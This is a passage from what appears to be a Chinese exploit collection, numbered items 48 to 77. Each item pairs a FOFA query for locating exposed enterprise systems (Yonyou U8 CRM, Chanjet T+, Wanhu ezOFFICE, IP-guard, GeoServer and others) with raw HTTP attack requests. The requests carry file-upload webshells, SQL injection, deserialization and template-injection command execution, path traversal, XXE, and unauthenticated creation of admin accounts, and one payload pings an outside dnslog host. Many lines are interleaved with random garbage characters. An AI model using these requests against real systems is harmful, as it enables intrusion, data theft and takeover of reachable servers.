7 Y2 g, L; v% {$ l9 u2 DHost: x.x.x.x
Cache-Control: max-age=0
( j' h8 T; l, ~; j$ c7 qUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 W; n6 F5 h# nAccept-Encoding: gzip, deflate, br
2 n, J- I+ |9 c* EAccept-Language: zh-CN,zh;q=0.9
" F  T) P) z" sIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
0 O! p' Z$ t2 O* K5 T0 H4 L
1 ?; L$ \4 J- D- ?

48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
$ T/ z) s2 T; S3 H% f3 C1 nPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
6 H. g2 a) ^" f4 N, f. n9 p* xHost: your-ip
/ f1 E! N( z1 m( vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 S* T+ x! N5 u3 I. p* t$ e4 J6 |Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
: B6 i( l+ n- o: t5 o' kContent-Disposition: form-data; name="file"; filename="s.php"
5 i6 Z8 s" @' H9 o5 F) W1231
Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
5 r1 {& p0 `* |- h: d3 E) h------269520967239406871642430066855--
6 [; N! ~6 R. i0 H3 y

49. 用友U8 CRM系统uploadfile.php接口任意文件上传
" o2 B+ V& I( UFOFA：body="用友U8CRM"

. z5 L4 b, ]$ U; sPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
' g9 @. E( r1 L1 M7 B8 V8 l2 gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
- J$ f. }* m( z8 w, gContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 {2 X' z; U- k# ?7 w" oAccept-Encoding: gzip, deflate
1 _, }0 K% c( D$ J: f) @8 iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& M6 \! I; B7 o8 d& }Connection: close
. q0 _% ^9 u& y0 V8 TContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
/ y3 Z+ _1 W$ _. }' M2 C
-----------------------------vvv3wdayqv3yppdxvn3w
% `5 D! p7 @& O2 `# v% i% BContent-Disposition: form-data; name="file"; filename="%s.php "
) v9 F" @7 ], X* N5 m* z& d" ZContent-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
: _% x6 B  D1 s$ C: ZContent-Disposition: form-data; name="upload"
" R% j* }3 z# p' S
upload
# m# X& G) A" n-----------------------------vvv3wdayqv3yppdxvn3w--
- E9 W, ?: h. @( [0 n6 {
  _! v5 R6 |1 W7 }; ?
http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
Accept: */*
Accept-Language: en
0 k2 k, ^, Q2 J: {7 X- x3 U) s" m& CContent-Type: application/x-www-form-urlencoded
! ^) ~3 W: W1 \% j8 M. p" F, |& fAccept-Encoding: gzip

/ ^5 `( m* @5 T5 Y) Gsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
- ?" P7 q; p) |$ l

( Y" M- p  g9 j$ m51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
3 Y; p( T, c& ]0 k1 p# x! AFOFA：app="云时空社会化商业ERP系统"
# j# ?4 v) H& u: t7 L3 m% DGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
4 C' _! A( A: k, O4 uHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
% R% M/ z/ W' h5 c( RAccept-Language: zh-CN,zh;q=0.9
& x1 \# g7 @, q, U1 pConnection: close
  A) P6 I4 O7 n6 c) `: c

' `$ B0 H, e9 ^3 _/ v52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
! A' l" l( z6 oPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
Accept: */*
% c% C  ~; b( T- J2 ?! t3 P3 }Accept-Language: en
: M6 @. t: k0 NContent-Type: application/x-www-form-urlencoded
' E( i; Z* C) ?5 A- a4 oAccept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
/ q- H' A. @5 r* G& t8 H

53. 迪普 DPTech VPN Service 任意文件上传
* R3 O7 X5 Z! l; J; U$ b# x+ eFOFA：app="DPtech-SSLVPN"
5 E. K- m# s6 g# W# [/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
# s5 m. K# x4 W% B$ L

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
1 L% q; z) E7 ?/ D$ VFOFA：app="畅捷通-TPlus"
! d# g* _( {, J9 m. n2 ]# |第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
) I1 v. Q6 t1 }. c& g"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

& l8 H5 ^4 p1 h) K4 T7 o' N; M
完整数据包
3 O& s" [7 R7 d6 i# i7 V. ?1 Y' SPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
- o% ?# C) N9 m: U: Z* n/ a! rHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
  O: s* y8 }0 |3 s/ W# H3 V2 \+ l
& C' @. Y2 P- u2 N{
( m2 h8 Y5 ~- K( h1 b  \" `"storeID":{
+ U% x5 j+ `7 A+ f "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
3 I! R/ i; y" K8 F4 O$ A "MethodName":"Start",
2 p% m, w+ w. f+ s  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
6 A% x. @8 s. k! o  A   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
6 J9 j5 i' r4 r, s4 D    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  }
}
2 N% \3 ~1 U( Y" p1 V8 H

第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
9 m4 V4 U& x8 \2 K% ~0 E" z/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
7 e8 e: B+ M) o& ?! J第二步，利用获取到的Cookie请求
1 w+ D( w/ U: U6 c/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
& d8 H* p6 r, w1 ^- g4 D& jFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
/ J* _9 ^( C3 Q9 ?; D' kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
0 O  @4 E; z) L7 t
, J0 v+ J5 X6 c. y{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
9 L4 d0 Z, z+ x   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
8 P& V$ s1 P% \           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
3 S# W0 E9 }) j' P% a% H% [       }
% @! |1 T  W; e0 s    }
3 O$ R& B, D! p" H! Y  }
; u' `$ T9 k- Z}


57. 畅捷通T+ keyEdit.aspx SQL注入
6 }7 N, b: J5 C- P. e* V3 D. jFOFA：app="畅捷通-TPlus"
. Y0 b% N8 g4 I8 K1 ~/ h) XGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
2 ~& o0 }2 I; Z- T+ Q% R. l  [% A! cConnection: close
5 @9 g$ B6 ?8 N) P) w1 W6 h4 y/ |
  Y2 A. w* u" K
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
) F, n/ f5 D$ t9 m9 v/ z+ {3 H; XGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
' Y. `1 M4 w  p' E4 zAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
% D9 a& m8 z8 [. _/ A4 dConnection: close
1 p7 L0 N, a+ F: f' w& E

59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
4 [4 V; b# f# |# WFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
6 G7 Y) w- i, z/ hPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
+ r7 N- i, [6 c2 aConnection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
& g& A/ I( ?0 \, |" m& d' X' i* h
PAYLOAD
. G* y4 W1 X4 n, ^! t) ]1 E" r" \

60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
6 `' W6 B: s# X% B. V% l4 Q( \; T
' {$ u8 u% P8 z2 _; e
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
8 J' m" d4 d" H6 c( bPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
, |4 `7 @! y) I+ r  hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
Accept: */*
5 X) Z2 z% Q& b. Z: o* B( VAccept-Encoding: gzip, deflate
% j2 B& ~  H; S7 g9 F9 a+ m/ z3 aAccept-Language: en
Content-Type: application/x-www-form-urlencoded
. X% }( r3 d$ v) a2 U* U
4 [" L3 D& j! z8uxssX66eqrqtKObcVa0kid98xa

  d, [: s$ n8 K
62. IP-guard WebServer 远程命令执行
8 A" J3 [/ E  n5 G, y  e5 P) ]FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
: I1 C) t* _$ {  Z* HHost: x.x.x.x
$ n1 s: r) S& @5 B- XUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
+ Q+ x8 Z+ M" R+ JAccept-Language: en
Accept-Encoding: gzip
" W# R7 y+ ]0 B! G7 _# b0 E

, {- a5 S; S6 a3 D访问

& f) C* z! x( a- ~GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
1 P) ~0 w+ i; N* v. }( M

63. IP-guard WebServer任意文件读取
; g$ W. }" M9 q) z/ x- N6 J3 t6 SIP-guard < 4.82.0609.0
  l, x9 ]" q: eFOFA：icon_hash="2030860561"
9 y: q3 W4 s6 x7 y  Y. r* }POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
8 t- w. J+ Y3 I; Z- O9 `7 rHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
. f4 d( i: V  {- ~8 ?0 jAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
$ A2 A$ s" ?# y/ y, W
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
% g% r: |5 R+ K$ KUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
, f7 F. K! `) t4 R/ B; b" cConnection: close
4 ~/ m3 K1 X3 `9 C8 ?$ MContent-Length: 369
/ j  x" k8 n6 p5 A6 K% l* VAccept: */*
6 c  v( u2 t( BAccept-Language: en
2 h* T1 _6 k& }# e" e1 ?$ FContent-Type: text/xml; charset=utf-8
* z7 Z2 Q9 j3 l9 w  j0 p9 _Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
" \" P& A& F4 d* Z9 G    </GetOSpById>
+ e8 \. L. e- M6 O5 t  </soap:Body>
( I! N  ]  [& c" Z5 O</soap:Envelope>


65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
; W  l4 |+ s  q3 H$ [FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
3 r2 I% Y0 |9 h+ m" qPOST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
- v$ Z# g; y1 b" v+ h0 h1 dAccept: */*
Connection: close
2 U! o9 c" Q- _) P; A: z+ s+ f' wAccept-Language: en
Content-Length: 174
" x% W- [3 C( F9 T& g8 k
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
5 H% g7 O4 p) _9 j& e

( P& f5 n. A9 a; B: d3 D! k66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
5 k' z7 T/ q( g, P1 l. \
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

6 f% j7 Y3 Z2 P6 N
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
- M% @  e7 _' ^( e/ w5 `7 I: `/ O
67. 万户ezOFFICE wpsservlet任意文件上传
3 I6 ^3 m& o, \; b6 u" r0 @+ f# ?FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
+ w+ j' {% n) n2 mPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
0 f$ L! l7 p2 G  R2 J( C# GContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
$ r5 _2 ^4 I0 IAccept-Encoding: gzip, deflate
$ v7 b6 `$ _% T% G: z+ GAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
/ I6 o+ d9 g, @( X9 `Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

  c2 l# u% U8 m<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--


5 X, J9 }- n  S7 Z, c$ ]4 a' i6 N文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
7 _+ ^* C( f* Q# `
68. 万户ezOFFICE wf_printnum.jsp SQL注入
* D" k2 b1 X" a% }! W' `& QFOFA：app="万户ezOFFICE协同管理平台"
" L$ z) u: P& a; d7 o+ PGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
. r: b% {* Q+ L& c/ S# w  J. u: bAccept-Encoding: gzip, deflate
& ^* h' A9 Z4 `3 E( O9 [' kAccept-Language: zh-CN,zh;q=0.9
Connection: close
* z4 G0 K; y" m/ T% }' a
# c7 b" w5 u- u/ T# t9 X* F5 p
% m. c' i& a$ l: h/ }- `69. 万户 ezOFFICE contract_gd.jsp SQL注入
1 Q; v- b* p& D; _FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
! d1 w- e, }2 X' x8 ?$ V: OHost: your-ip
# N' q# b. h0 {) r! L$ jUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
; A% k5 q) G% Y6 Z0 I: ~2 ?! C: ]0 s) sAccept-Encoding: gzip, deflate
6 L* e3 u; D4 |3 ~Accept: */*
Connection: keep-alive


70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
: `) Z, G1 E& dHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

$ r$ ~  }9 S, w( Q# f& ]1 v' W__VIEWSTATE=PAYLOAD


& M( }3 N( F2 G! ]% X71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
6 k3 w5 u- M, G5 TFOFA：body="PM2项目管理系统BS版增强工具.zip"
+ ^/ `6 y/ D: Y9 D: NGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
3 G# X2 m  U( y4 sConnection: close
+ G- a3 x8 B- `/ e( ?8 V. G, x& MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
  X9 N( J2 ~. F9 A; ^4 @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 e* I. f! l( U, F7 E2 {Upgrade-Insecure-Requests: 1
4 F0 p- t2 R8 N4 B( o
7 Y' Z- u; X! |9 A$ E) U+ Z' |' `
1 ~, i, @" W8 h: x, U( S1 }72. 致远OA getAjaxDataServlet XXE
" F6 A% {) {+ d( GFOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
- \! `: X, A' ]% MContent-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
! C& Z; H+ r) L
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
9 }" Y. D9 Y, A2 @
8 b6 o8 O1 P1 S* x" o! V- q
73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
: ?( F- B8 R# @& S6 O6 M2 i, |POST /geoserver/wms HTTP/1.1
$ c$ d7 U. Q. H: K3 QHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
' {5 Q7 D( _# {; EContent-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
/ j2 ^( s4 S$ I3 `SL-CE-SUID: 3
+ q, ?0 M% [, D% T+ _: I, a# a- n$ Q
PAYLOAD
8 I0 ~  D! _4 j4 n
) L% E& n, A! I
74. 致远M3-server 6_1sp1 反序列化RCE
+ p+ _- ?& v1 ]" sFOFA：title="M3-Server"
6 N1 z! b" t. k( j  q! s. P! jPAYLOAD

, W, ~( M3 I9 g6 v/ {* N0 ]5 n! O. Y75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
& f3 x+ v" @" s& T% A1 i3 xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
0 ~# Z: o" G+ I+ r7 l  c

GET /cgi-bin/test28256.txt HTTP/1.1
* r0 t) |+ D  o( }Host: x.x.x.x

" L. b9 i" R8 [. x3 E2 Y
' F5 G6 ^2 c4 L76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
7 D; }1 ~" [! CPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
" [- Y' T& I7 q  Z5 P/ oConnection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
8 c; I) \! Y* U, L5 yUpgrade-Insecure-Requests: 1

; m8 [5 I6 z6 X; ~{
: l7 n  I" ?9 F- S7 S1 X* |"command": "GetFZinfo",
' Z, @/ F4 O" c/ W" }  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  H! G0 X, x$ N, n) _5 q! z7 y  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
$ v- @" _8 t/ K3 v$ ]}
- {4 c) p' m5 Z+ v' q" r( x1 P4 e

4 q& L- |3 d# k, q3 h  DGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
9 {. n& `0 H6 j; v) c
0 I: ^, r" J0 u* L5 w5 M
+ Y# T) m( j) B6 _! R/ t& i
, w. I% s9 I# r1 z  n# a- S( \77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
5 I/ j- \$ \: V' p; iConnection: close
+ S# {6 n& x6 P( y" e2 n' uContent-Length: 433
( V! B- I6 u) {% C! v: CAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 x9 Q2 E% V5 ]6 K8 SContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
6 d8 G( i; Q1 @/ |, s4 e5 V: o$ n" ~
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
( H3 G) B$ c/ R& B
( B8 N+ A! @0 X4 J7 h4 w/upload/udplog
